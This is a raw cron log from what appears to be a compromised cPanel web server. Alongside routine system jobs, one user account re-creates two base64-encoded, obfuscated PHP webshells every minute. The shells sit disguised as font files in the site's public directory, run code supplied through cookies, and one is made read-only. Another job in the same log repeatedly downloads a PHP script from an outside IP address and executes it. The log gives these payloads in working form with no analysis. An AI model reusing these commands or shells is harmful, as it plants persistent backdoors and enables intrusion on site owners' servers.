Sep 20 23:50:01 ip-184-168-122-23 CROND[28137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:50:01 ip-184-168-122-23 CROND[28139]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 23:50:01 ip-184-168-122-23 CROND[28145]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 23:50:01 ip-184-168-122-23 CROND[28142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:50:01 ip-184-168-122-23 CROND[28144]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 23:50:01 ip-184-168-122-23 CROND[28147]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 23:50:01 ip-184-168-122-23 CROND[28146]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:50:01 ip-184-168-122-23 CROND[28148]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 23:50:01 ip-184-168-122-23 CROND[28149]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:51:01 ip-184-168-122-23 CROND[28259]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:51:01 ip-184-168-122-23 CROND[28261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:51:01 ip-184-168-122-23 CROND[28262]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:51:01 ip-184-168-122-23 CROND[28260]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:52:01 ip-184-168-122-23 CROND[28437]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:52:01 ip-184-168-122-23 CROND[28440]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 23:52:01 ip-184-168-122-23 CROND[28439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:52:01 ip-184-168-122-23 CROND[28441]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:52:01 ip-184-168-122-23 CROND[28442]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:53:01 ip-184-168-122-23 CROND[28531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:53:01 ip-184-168-122-23 CROND[28533]: (root) CMD (/usr/lib64/sa/sa2 -A)
Sep 20 23:53:01 ip-184-168-122-23 CROND[28534]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:53:01 ip-184-168-122-23 CROND[28536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:53:01 ip-184-168-122-23 CROND[28537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:54:01 ip-184-168-122-23 CROND[28625]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:54:01 ip-184-168-122-23 CROND[28626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:54:01 ip-184-168-122-23 CROND[28628]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 23:54:01 ip-184-168-122-23 CROND[28631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:54:01 ip-184-168-122-23 CROND[28632]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:55:01 ip-184-168-122-23 CROND[28719]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:55:01 ip-184-168-122-23 CROND[28722]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 23:55:01 ip-184-168-122-23 CROND[28721]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:55:01 ip-184-168-122-23 CROND[28723]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 23:55:01 ip-184-168-122-23 CROND[28725]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:55:01 ip-184-168-122-23 CROND[28724]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:56:01 ip-184-168-122-23 CROND[28811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:56:01 ip-184-168-122-23 CROND[28812]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 23:56:01 ip-184-168-122-23 CROND[28813]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:56:01 ip-184-168-122-23 CROND[28814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:56:01 ip-184-168-122-23 CROND[28816]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:57:01 ip-184-168-122-23 CROND[28985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:57:01 ip-184-168-122-23 CROND[28987]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:57:01 ip-184-168-122-23 CROND[28990]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:57:01 ip-184-168-122-23 CROND[28988]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:58:01 ip-184-168-122-23 CROND[29074]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 23:58:01 ip-184-168-122-23 CROND[29076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:58:01 ip-184-168-122-23 CROND[29077]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:58:01 ip-184-168-122-23 CROND[29080]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:58:01 ip-184-168-122-23 CROND[29078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:59:02 ip-184-168-122-23 CROND[29167]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:59:02 ip-184-168-122-23 CROND[29169]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:59:02 ip-184-168-122-23 CROND[29170]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:59:02 ip-184-168-122-23 CROND[29172]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:00:01 ip-184-168-122-23 CROND[29256]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 00:00:01 ip-184-168-122-23 CROND[29264]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:00:01 ip-184-168-122-23 CROND[29262]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:00:01 ip-184-168-122-23 CROND[29263]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 00:00:01 ip-184-168-122-23 CROND[29260]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 21 00:00:01 ip-184-168-122-23 CROND[29259]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 00:00:02 ip-184-168-122-23 CROND[29265]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 00:00:02 ip-184-168-122-23 CROND[29261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:00:02 ip-184-168-122-23 CROND[29274]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:01:02 ip-184-168-122-23 CROND[29364]: (root) CMD (run-parts /etc/cron.hourly)
Sep 21 00:01:02 ip-184-168-122-23 CROND[29365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:01:02 ip-184-168-122-23 CROND[29368]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:01:02 ip-184-168-122-23 CROND[29371]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 00:01:02 ip-184-168-122-23 CROND[29369]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[29364]: starting 0anacron
Sep 21 00:01:02 ip-184-168-122-23 CROND[29373]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:01:02 ip-184-168-122-23 anacron[29385]: Anacron started on 2026-09-21
